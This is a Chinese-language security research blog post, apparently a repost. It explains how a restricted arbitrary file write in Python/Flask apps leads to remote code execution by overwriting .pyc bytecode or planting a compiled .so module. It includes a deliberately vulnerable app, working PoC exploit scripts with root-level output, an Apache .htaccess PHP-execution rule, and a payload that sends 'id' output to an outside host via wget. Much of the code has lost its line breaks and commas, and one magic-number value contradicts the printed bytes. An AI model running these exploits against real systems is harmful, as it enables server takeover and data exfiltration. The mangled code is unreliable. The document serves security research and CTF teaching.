只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!

admin 2025年5月1日01:21:33评论0 views字数 18721阅读62分24秒阅读模式

概述

在Web安全领域,存在一类称为"任意文件写入"(Arbitrary File Write,AFW)的漏洞,攻击者可以利用此漏洞在服务器上创建或覆盖文件,从而可能导致远程代码执行(Remote Code Execution,RCE)。例如,在使用PHP和Apache的Web应用程序中,攻击者可以创建新的.htaccess文件来获取RCE权限。在Apache中,.htaccess文件用于基于目录的配置更改。然而,借助AFW漏洞,攻击者可以添加以下规则来告诉Apache将.txt扩展名的文件视为PHP脚本:

<Files ~ ".*">    Require all granted    Order allow,deny    Allow from all</Files>AddType application/x-httpd-php .txt
只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!

受限环境下的脏AFW

但是如果AFW漏洞受到限制,处于加固环境中呢?如果你只能写入特定目录(如/var/www/html)中的文件怎么办?如果你只能控制文件名怎么办?如果你只能控制文件内容怎么办?这些情况下,我们称之为"脏"AFW,而非完全的AFW。

根据Doyensec的研究(《"脏"任意文件写入到RCE的新向量》),攻击者可以利用"脏"AFW通过以下方式获取RCE:

  • 添加或覆盖将被应用服务器处理的文件

  • 操纵凭证执行任意代码

  • 利用操作系统或其他系统守护进程使用或调用的文件

由于我对Python非常熟悉,我向自己提出了这个研究问题:如何通过"脏"AFW在Python编写的Web应用程序中实现RCE?

Python"脏"AFW的先前研究

根据SonarSource的博客文章《Pretender漏洞:如何在每次会议上都被接受》,攻击者可以写入.pth文件(站点特定配置钩子)来获取RCE。

另一种方法来自上述Doyensec的研究博客,攻击者可以覆盖uWSGI配置文件(uwsgi.ini)来获取RCE。

当然,攻击者也可以创建或覆盖源代码文件,如.py、init.py和__main__.py文件。

在Jorian Woltjer关于AFW的GitBook中,简要提到了.pyc文件。然而,我没有找到任何关于通过写入或覆盖.pyc文件获取RCE的详细信息。因此,我开始深入研究这个问题。

注意:在AIS3 EOF 2019决赛中,有一个名为"Imagination"的Web挑战,你可以通过覆盖字节码文件并重启服务器来实现RCE(感谢@Mystiz在PUCTF25期间发现这个解法)。然而,在这项研究中,我找到了一种无需重启服务器的方法。

覆盖字节码文件

如果你写过一定量的Python代码,我相信你一定在__pycache__目录中见过.pyc文件。但这些文件是什么?根据PEP 3147——PYC仓库目录:

"CPython将其源代码编译为'字节码',出于性能原因,每当源文件发生更改时,它都会将此字节码缓存到文件系统中。这使得Python模块的加载速度更快,因为可以绕过编译阶段。当你的源文件是foo.py时,CPython会将字节码缓存在源文件旁边的foo.pyc文件中。" - https://peps.python.org/pep-3147/#background

简而言之:Python字节码文件是为了提高性能。

但是字节码文件是如何生成的?

当你的Python代码第一次导入一个模块时,比如foo,它会查找foo.py文件。如果找到foo.py,然后它会尝试在__pycache__/foo.<magic>.pyc中查找已编译的字节码文件,其中<magic>是用于区分编译所用Python版本的魔术标签。如果没有找到字节码文件,Python将编译并写入字节码文件。

那么,如果我们覆盖已编译的字节码文件会怎样?

Python字节码结构

在此之前,我们必须了解Python字节码的结构。更具体地说,是16字节的头部。根据nowave的Python字节码分析(1)博客文章,我们可以看到字节码头部的结构如下:

只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!
  • 字节0到3:魔数。如前所述,魔数用于区分编译所用的Python版本。注意前面提到的魔术标签用于字节码文件名,而魔数用于字节码文件的签名。

  • 字节4到7:位字段。此字段通常无用,应只包含4个空字节。

  • 字节8到11:修改日期。此字段保存导入模块文件的修改日期时间戳。假设代码正在导入模块foo,编译后的字节码的修改日期字段将是foo.py文件的修改日期时间戳。

  • 字节12到15:文件大小。此字段保存导入模块文件的文件大小。

限制条件

了解Python字节码的头部结构后,如果我们查看PEP 3147的背景部分,它说:

"[修改]时间戳用于确保pyc文件与用于创建它的py文件匹配。当魔数或时间戳不匹配时,py文件将被重新编译,并写入新的pyc文件。"

如你所见,如果我们尝试覆盖字节码文件,被覆盖文件的魔数和修改时间戳必须正确(cpython/Python/import.c第994-1002行)。否则,Python将重新编译字节码文件,从而实际上没有覆盖字节码文件。此外,源文件大小也需要正确。为了"绕过"这些限制,我们需要在应用程序中找到任意文件读取漏洞。或者,我们可以采用暴力方法。我稍后会讨论这个问题。

另一个限制是导入模块必须在不同进程中稍后被导入。如果我们查看PEP 3147的案例2:第二次导入,它说:

"当Python被要求第二次导入模块foo时(当然是在不同的进程中),它将再次沿着sys.path搜索foo.py文件。当Python定位到foo.py文件时,它会查找匹配的__pycache__/foo.<magic>.pyc,找到后,它将读取字节码并像往常一样继续。"

这意味着模块应该通过importlib动态导入:

import importlib.utildef dynamicImportModule(moduleName, modulePath):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)    # 对导入的模块执行某些操作dynamicImportModule('utils''utils.py')
或者,使用concurrent.futures生成新进程,并使用关键字__import__导入模块:
import concurrent.futuresdef dynamicImportModule(module):    importedModule = __import__(module)    # 对导入的模块执行某些操作with concurrent.futures.ProcessPoolExecutor() as executor:    executor.submit(dynamicImportModule, 'utils')

或者,只需等待服务器重启进行第二次导入。

演示

在以下代码中,我们有一个使用Python 3.11运行的Flask Web应用程序,允许攻击者执行AFW。但是,它只允许在/app目录中写入文件。此外,文件名只能包含字母数字字符、-和.。而且,应用程序还存在任意文件读取漏洞。同样,与AFW中的限制相同。

app.py
import reimport importlib.utilfrom flask import Flask, request, make_responsefrom pathlib import PathAPP_DIRECTORY_NAME = 'app'UPLOAD_FOLDER = f'/{APP_DIRECTORY_NAME}/uploads/'FILENAME_REGEX_PATTERN = re.compile('^[a-zA-Z0-9-.]+$')MODULES = [{ 'moduleName''telemetry''path''telemetry.py' }]app = Flask(__name__)def dynamicImportModule(moduleName, modulePath, *args):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)    if moduleName == MODULES[0]['moduleName']:        importedModule.sendTelemetryData(*args)def isFilePathValid(filePath):    absolutePathParts = filePath.parts    if absolutePathParts[0] != '/' or absolutePathParts[1] != APP_DIRECTORY_NAME:        return False    return Truedef isFilenameValid(filename):    regexMatch = FILENAME_REGEX_PATTERN.search(filename)    isPythonExtension = filename.endswith('.py')    if regexMatch is None or isPythonExtension:        return False    return True@app.route('/upload', methods=('POST',))def fileUpload():    file = request.files['file']    absolutePath = Path(f'{UPLOAD_FOLDER}{file.filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    fileContent = file.read()    with open(absolutePath, 'wb'as file:        file.write(fileContent)    return 'Your file is uploaded'@app.route('/read', methods=('GET',))def fileRead():    filename = request.args.get('filename''')    absolutePath = Path(f'{UPLOAD_FOLDER}{filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    try:        with open(absolutePath, 'rb'as file:            response = make_response(file.read())            response.headers['Content-Type'] = 'text/plain'            return response    except:        return 'File Unable to read the file'@app.route('/telemetry', methods=('GET',))def sendTelemetryData():    data = request.args.get('data''Empty data')    telemetryModule = MODULES[0]    dynamicImportModule(telemetryModule['moduleName'], telemetryModule['path'], data)    return 'Telemetry data has been submitted'if __name__ == '__main__':    app.run(debug=True)
telemetry.py
def sendTelemetryData(data):    # for demo only    print(f'[TELEMETRY] {data}')
Dockerfile
FROM python:3.11-alpineWORKDIR /appENV FLASK_APP=app.pyENV FLASK_RUN_HOST=0.0.0.0COPY ./src .RUN pip3 install requests flaskRUN rm -rf /app/uploads && mkdir /app/uploadsEXPOSE 5000ENTRYPOINT [ "flask""run" ]

要覆盖已编译的字节码文件,我们将:

  1. 向/telemetry发送GET请求以动态导入模块(确保字节码文件确实被编译)

  2. 利用任意文件读取漏洞读取字节码文件的头部字段,并提取魔数、修改日期时间戳和源文件大小等信息

  3. 通过AFW漏洞覆盖已编译的字节码文件,其中包含我们的RCE payload

  4. 通过向/telemetry发送GET请求触发被覆盖的字节码文件(动态导入被覆盖的字节码文件)

以下是执行上述步骤的PoC脚本:

import requestsimport structimport timeimport marshalfrom io import BytesIOTELEMETRY_ENDPOINT = '/telemetry'FILE_READ_ENDPOINT = '/read'FILE_UPLOAD_ENDPOINT = '/upload'EXFILTRATED_FLAG_FILENAME = 'output.txt'MAGIC_TAG = 'cpython-311'BYTECODE_FILE_PATH = f'/../__pycache__/telemetry.{MAGIC_TAG}.pyc'FIELD_SIZE = 4 # https://nowave.it/python-bytecode-analysis-1.htmlRCE_SOURCE_CODE = f'__import__("os").system("id > /app/uploads/{EXFILTRATED_FLAG_FILENAME}")'BYTECODE_FILENAME = '/app/telemetry.py' # this can be anythingbaseUrl = 'http://localhost:5000'def modifyBytecode(bytecode):    # modified from https://github.com/gmodena/pycdump/blob/master/dump.py    # magic number and modification date timestamp field MUST match to the original one, otherwise Python will recompile it again    headers = bytecode[0:16]    magicNumber, bitField, modDate, sourceSize = [headers[i:i + FIELD_SIZE] for i in range(0len(headers), FIELD_SIZE)]    modTime = time.asctime(time.localtime(struct.unpack("=L", modDate)[0]))    unpackedSourceSize = struct.unpack("=L", sourceSize)[0]    print(f'[*] Magic number: {magicNumber}')    print(f'[*] Bit field: {bitField}')    print(f'[*] Source modification time: {modTime}')    print(f'[*] Source file size: {unpackedSourceSize}')    codeObject = compile(RCE_SOURCE_CODE, BYTECODE_FILENAME, 'exec')    codeBytes = marshal.dumps(codeObject)    newBytecode = magicNumber + bitField + modDate + sourceSize + codeBytes    return newBytecodedef triggerDynamicImport():    requests.get(f'{baseUrl}{TELEMETRY_ENDPOINT}')def readFile(filename):    parameter = { 'filename': filename }    return requests.get(f'{baseUrl}{FILE_READ_ENDPOINT}', params=parameter).contentdef uploadFile(filename, fileContent):    fileBytes = BytesIO(fileContent)    file = { 'file': (filename, fileBytes, 'text/plain') }    requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file).textif __name__ == '__main__':    print('[*] Force compile telemetry.py bytecode file on the server...')    triggerDynamicImport()    print('[*] Reading the bytecode file content...')    originalBytecode = readFile(BYTECODE_FILE_PATH)    print('[*] Modifying the bytecode with our own RCE payload...')    newBytecode = modifyBytecode(originalBytecode)    print(f'[+] RCE payload:n{newBytecode}')    print('[*] Overwriting the original bytecode file with our own RCE payload...')    uploadFile(BYTECODE_FILE_PATH, newBytecode)    print('[*] Triggering the overwritten bytecode file...')    triggerDynamicImport()    payloadOutput = readFile(EXFILTRATED_FLAG_FILENAME).decode().strip()    print(f'[+] Payload output:n{payloadOutput}')
└> python3 poc.py [*] Force compile telemetry.py bytecode file on the server...[*] Reading the bytecode file content...[*] Modifying the bytecode with our own RCE payload...[*] Magic number: b'xa7rrn'[*] Bit field: b'x00x00x00x00'[*] Source modification time: Tue Apr 15 22:27:19 2025[*] Source file size: 81[+] RCE payload:b'xa7rrnx00x00x00x00xc7lxfegQx00x00x00xe3x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x00x00x00x00xf3Bx00x00x00x97x00x02x00ex00dx00xa6x01x00x00xabx01x00x00x00x00x00x00x00x00xa0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00dx01xa6x01x00x00xabx01x00x00x00x00x00x00x00x00x01x00dx02Sx00)x03xdax02oszx1cid > /app/uploads/output.txtN)x02xdan__import__xdax06systemxa9x00xf3x00x00x00x00xfax11/app/telemetry.pyxfax08<module>rx08x00x00x00x01x00x00x00s*x00x00x00xf0x03x01x01x01xd8x00nx80nx884xd1x00x10xd4x00x10xd7x00x17xd2x00x17xd0x186xd1x007xd4x007xd0x007xd0x007xd0x007rx06x00x00x00'[*] Overwriting the original bytecode file with our own RCE payload...[*] Triggering the overwritten bytecode file...[+] Payload output:uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

没有任意文件读取?黑盒场景?

上述方法中一个突出的问题是需要读取字节码文件以获取正确的魔数和修改日期时间戳。此外,我们还需要一定程度的源代码访问权限才能获取动态导入模块的名称。

在限制条件部分,我提到我们可以通过利用应用程序中的任意文件读取漏洞来"绕过"这种情况。但如果我们没有这个漏洞怎么办?

让我们从获取正确的魔术标签和魔数开始。如果你处于黑盒场景,你可能无法通过Server响应头获取服务器的Python版本。在上面的演示中,默认情况下,Flask会在Server响应头中反映Python版本:

!> curl -v http://localhost:5000/[...]< HTTP/1.1 404 NOT FOUND< ServerWerkzeug/3.1.3 Python/3.11.12[...]

如果是这样,魔术标签可能是<Python_implementation_platform>.<Major_version>.<Minor_version>(主要和次要版本指的是语义版本控制中的术语)。通常,Python实现平台应该是CPython。因此,根据泄露的Python版本,正确的魔术标签可能是cpython-311。

对于魔数,如果我们像上面那样泄露了Python版本,我们可以使用pyenv等工具切换到该Python版本,并使用importlib.util.MAGIC_NUMBER获取魔数:

!> python3Python 3.11.2 (main, Nov 30 202421:22:50) [GCC 12.2.0] on linux[...]>>> import importlib.util>>> importlib.util.MAGIC_NUMBERb'xa7rrn'

在Python 3.11中,魔数是xa7x6dx6dx6a。

现在,如果你处于黑盒场景,不知道动态导入的模块名称怎么办?不幸的是,我能想到的解决方案是暴力破解所有可能的模块名称。

同样,对于源修改日期时间戳和源文件大小,如果我们找不到泄露它们的方法,我们唯一能做的就是暴力破解它们。

直接上传共享对象文件

注意:这项技术是由@tournip发现的,他在PUCTF25中通过非预期解法解决了我出的NuttyShell文件管理器Web挑战。向他致敬!他关于这个挑战的解法可以在这里看到:https://qijta.com/tournip/items/90da8ff66d2113c08ce8。

如果你不想暴力破解头部字段或执行竞争条件,你可以直接上传共享对象(.so)文件,如果应用程序运行在Windows上则上传.pyd文件,或在iOS上上传.fwork文件。根据PEP 420——隐式命名空间包部分的"规范",

"在导入处理期间,导入机制将继续迭代父路径中的每个目录,就像在Python 3.2中一样。在查找名为'foo'的模块或包时,对于父路径中的每个目录:

  • 如果找到<目录>/foo/init.py,则导入并返回常规包。

  • 如果没有找到,但找到<目录>/foo.{py,pyc,so,pyd},则导入并返回模块。扩展名的确切列表因平台和是否指定了-O标志而异。这里的列表具有代表性。

  • 如果没有找到,但找到<目录>/foo并且它是一个目录,则记录下来并继续扫描父路径中的下一个目录。

  • 否则继续扫描父路径中的下一个目录。"

因此,如果没有__init__.py,Python将尝试导入<模块名>.{py,pyc,so,pyd}。由于我们正在研究"脏"AFW(假设不允许.py扩展名和_字符),并且应用程序通常运行在Linux环境中,我们将深入研究.so。

事实上,如果你想列出所有可能的扩展名,可以使用importlib.machinery.all_suffixes(Lib/importlib/machinery.py第21-23行):

> python3Python 3.11.2 (main, Nov 30 202421:22:50) [GCC 12.2.0] on linux[...]>>> import importlib>>> importlib.machinery.all_suffixes()['.py''.pyc''.cpython-311-x86_64-linux-gnu.so''.abi3.so''.so']

在我的例子中,上述扩展名可以被Python导入。

现在,问题是:如果<模块>.py已经存在,并且我们将<模块>.so文件写入同一目录,Python是否会优先选择<模块>.so而不是<模块>.py或__pycache__/<模块>.<magic>.pyc文件?

如果我们查看lib/importlib/_bootstrap_external.py第604-608行,我们可以在函数spec_from_file_location中看到以下代码:

def spec_from_file_location(name, location=None, *, loader=None, submodule_search_locations=None):    [...]    # 如果没有提供加载器,则选择一个    if loader is None:        for loader_class, suffixes in _get_supported_file_loaders():            if location.endswith(tuple(suffixes)):                loader = loader_class(name, location)                spec.loader = loader                break        else:            [...]

在这里,它将循环遍历并从函数_get_supported_file_loaders中获取所有支持的文件加载器,该函数位于Lib/importlib/_bootstrap_external.py第1531-1546行:

def _get_supported_file_loaders():    [...]    extension_loaders = []    if hasattr(_imp, 'create_dynamic'):        [...]        extension_loaders.append((ExtensionFileLoader, _imp.extension_suffixes()))    source = (SourceFileLoader, SOURCE_SUFFIXES)    bytecode = (SourcelessFileLoader, BYTECODE_SUFFIXES)    return extension_loaders + [source, bytecode]
如你所见,SOURCE_SUFFIXES (.py)和BYTECODE_SUFFIXES (.pyc)文件扩展名实际上在最后一项:
>>> importlib._bootstrap_external._get_supported_file_loaders()[    (<class '_frozen_importlib_external.ExtensionFileLoader'>, ['.cpython-311-x86_64-linux-gnu.so''.abi3.so''.so']),    (<class '_frozen_importlib_external.SourceFileLoader'>, ['.py']),    (<class '_frozen_importlib_external.SourcelessFileLoader'>, ['.pyc'])]

因此,.so文件将优先于扩展名.py和.pyc,并且将使用ExtensionFileLoader。这是因为.so是extension_loaders列表中的第一项。

因此,我们可以将.so文件写入模块的目录,并等待第二次导入在不同的进程中发生,我们应该能够通过以下步骤获得RCE:

telemetry.py

__import__('os').system('wget --post-data "$(id)" -O- 48jcuj6n.requestrepo.com')

将<模块>.py编译为.so,使用cythonize并将编译后的共享对象重命名为<模块>.so:

> cythonize -i telemetry.py [...]x86_64-linux-gnu-gcc -shared -Wl,-O1 -Wl,-Bsymbolic-functions -g -fwrapv -O2 -g -fwrapv -O2 -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -o telemetry.cpython-311-x86_64-linux-gnu.so telemetry.so

上传它并触发第二次导入在不同的进程中:

▼ poc_shared_object_file.py

注意:在这种方法中,应用程序不能直接指定模块的路径,如下所示:

MODULES = [{ 'moduleName''telemetry''path''telemetry.py' }] [...]def dynamicImportModule(moduleName, modulePath, *args):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)

这是因为modulePath会告诉Python直接导入路径telemetry.py中的模块telemetry,其中.so文件将被忽略。

由于上述原因,应用程序现在通过以下方式动态导入telemetry模块:

import concurrent.futures [...]def dynamicImportModule(moduleName, *args):    importedModule = __import__(moduleName)    if moduleName == MODULES[0]['moduleName']:        importedModule.sendTelemetryData(*args)@app.route('/telemetry', methods=['GET'])def sendTelemetryData():    data = request.args.get('data''Empty data')    telemetryModule = MODULES[0]    with concurrent.futures.ProcessPoolExecutor() as executor:        executor.submit(dynamicImportModule, telemetryModule['moduleName'], data)    return 'Telemetry data has been submitted'

如果我们运行PoC脚本,我们可以看到应用程序确实导入了我们的.so文件而不是.py或.pyc文件:

!> python3 poc_shared_object_file.py[*] Writing our shared object file...[*] Triggering the second import in a different process...

不动态导入模块?

在现实中,应用程序很少动态导入模块。通常会是这样的:

import telemetry# 对导入的模块执行某些操作def main():    [...]

在这种情况下,你需要找到另一种方法在不同的进程中执行第二次导入。例如,通过崩溃强制重启服务器,或者只是希望服务器在某个时候会重启。以下是一些例子:

Gunicorn

在"Python脏AFW的先前研究"部分,我提到了AIS3 EOF CTF 2019决赛中的一个Web挑战的解法,在那个解法中,我们可以通过DoS攻击强制Gunicorn重启worker,最终将在不同的进程中再次导入模块。

Flask调试模式或任何使用Werkzeug的Reloader的框架

由于Flask在调试模式下使用Werkzeug的Reloader来监视任何文件更改,我们可以查看其实现。在werkzeug/reloader.py第348-360行,我们可以看到:

class WatchdogReloaderLoop(ReloaderLoop):    def __init__(self, *args: t.Any, **kwargs: t.Any) -> None:        [...]        # 额外模式可以是非Python文件,除了默认和额外目录中的所有Python文件外,还匹配它们。        # 忽略__pycache__,因为那里的更改总是会有对源文件(或初始pyc文件)的更改。        # 忽略Git和Mercurial内部更改。        extra_patterns = [p for p in self.extra_files if not os.path.isdir(p)]        self.event_handler = EventHandler(            patterns=["*.py""*.pyc""*.zip", *extra_patterns],            ignore_patterns=[                *[f"*/{d}/*" for d in _ignore_common_dirs],                *self.exclude_patterns,            ],        )

如你所见,event_handler将根据模式检查文件更改。在上面,.py、.pyc和*.zip文件将被监视。根据注释,我们可以尝试在应用程序的源代码目录中(除了__pycache__)写入.pyc文件,以在不同的进程中执行第二次导入。

注意:我也尝试了.zip文件,但不知道为什么reloader不会被触发。

为了演示这一点,这里有一个调试模式开启的Flask Web应用程序,并且存在"脏"AFW漏洞:

▼ app.py

import reimport telemetryfrom flask import Flask, requestfrom pathlib import PathAPP_DIRECTORY_NAME = 'app'UPLOAD_FOLDER = f'/{APP_DIRECTORY_NAME}/uploads/'FILENAME_REGEX_PATTERN = re.compile('^[a-zA-Z0-9-.]+$')app = Flask(__name__)def isFilePathValid(filePath):    absolutePathParts = filePath.parts    if absolutePathParts[0] != '/' or absolutePathParts[1] != APP_DIRECTORY_NAME:        return False    return Truedef isFilenameValid(filename):    regexMatch = FILENAME_REGEX_PATTERN.search(filename)    isPythonExtension = filename.endswith('.py')    if regexMatch is None or isPythonExtension:        return False    return True@app.route('/upload', methods=('POST',))def fileUpload():    file = request.files['file']    absolutePath = Path(f'{UPLOAD_FOLDER}{file.filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    fileContent = file.read()    with open(absolutePath, 'wb'as file:        file.write(fileContent)    return 'Your file is uploaded'@app.route('/telemetry', methods=('GET',))def sendTelemetryData():    data = request.args.get('data''Empty data')    telemetry.sendTelemetryData(data)    return 'Telemetry data has been submitted'if __name__ == '__main__':    app.run(debug=True)

▼ Dockerfile

FROM python:3.11-alpineWORKDIR /appENV FLASK_APP=app.pyENV FLASK_RUN_HOST=0.0.0.0COPY ./src .RUN pip3 install requests flaskRUN rm -rf /app/uploads && mkdir /app/uploadsEXPOSE 5000ENTRYPOINT [ "flask""run""--debug" ] # debug mode is on

▼ poc_shared_object_file_trigger_reload.py

import requestsfrom io import BytesIOfrom time import sleepFILE_UPLOAD_ENDPOINT = '/upload'SHARED_OBJECT_FILE_PATH = f'/../telemetry.so'baseUrl = 'http://localhost:5000'def getSharedObjectFileContent(filename):    with open(filename, 'rb'as file:        return file.read()def uploadFile(filename, fileContent):    fileBytes = BytesIO(fileContent)    file = { 'file': (filename, fileBytes, 'text/plain') }    requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file).textdef triggerReloader():    uploadFile('/../anything.pyc'b'foo'# create the file    sleep(1# wait for different modification time (mtime)    uploadFile('/../anything.pyc'b'foo'# overwrite it again so that it'll have different mtimeif __name__ == '__main__':    print('[*] Writing our shared object file...')    sharedObjectFile = getSharedObjectFileContent('telemetry.so')    uploadFile(SHARED_OBJECT_FILE_PATH, sharedObjectFile)    print('[*] Triggering the reloader...')    triggerReloader()
!> python3 poc_shared_object_file_trigger_reload.py[*] Writing our shared object file...[*] Triggering the reloader...
只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!

服务器:

[...]172.18.0.1 - - [28/Apr/2025 09:38:53"POST /upload HTTP/1.1" 200 -172.18.0.1 - - [28/Apr/2025 09:38:53"POST /upload HTTP/1.1" 200 -172.18.0.1 - - [28/Apr/2025 09:38:54"POST /upload HTTP/1.1" 200 - * Detected change in '/app/anything.pyc', reloading * Restarting with statConnecting to 48jcuj6n.requestrepo.com (130.61.138.67:80)writing to stdoutwritten to stdout * Debugger is active! * Debugger PIN192-854-631

结论

尽管通过写入共享对象文件或覆盖字节码文件实现Python"脏"AFW到RCE很可能需要白盒方法,但如果你只能写入源代码目录(如/app)中的文件,并且Web应用程序对文件名有严格的规定(例如不能使用下划线(_)字符),它仍然非常强大。

如果应用程序没有任意文件读取漏洞,我们需要泄露/暴力破解使用的是哪个Python版本、动态导入的模块名称和/或导入模块的文件大小。我们也可以采用更简单的方法,写入共享对象文件来实现RCE。

未来,对于字节码文件覆盖,也许我们可以找到一种方法来减少黑盒情况下的暴力破解,并减少对任意文件读取漏洞的依赖以获取所有必要的信息。

原文始发于微信公众号(红队笔记录):只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日01:21:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   只需写个 .pyc 文件?Python 任意文件写入也能打 RCE!https://cn-sec.com/archives/4021124.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息